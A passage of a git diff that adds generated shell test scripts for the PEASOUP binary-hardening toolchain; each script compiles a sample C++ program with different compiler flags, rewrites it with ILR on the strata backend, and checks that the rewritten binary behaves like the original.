diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..62ab660ce78ccee2e7d7fa1ef19310173d4f5947
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3f8c8f3766f662edd9625e5d8b331639ef7b68f6
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3e0b4379d8ec59a46441036fb263d674a4aeeb61
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3 -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ddd66993f006663aa275f8daf98a054078bce32d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..fa4a3e26c4c9d93f081d83a8f6b6128ae20ef950
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..62dfd8f49a8fdcb6bedb88fd6c8d87dde452ccef
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
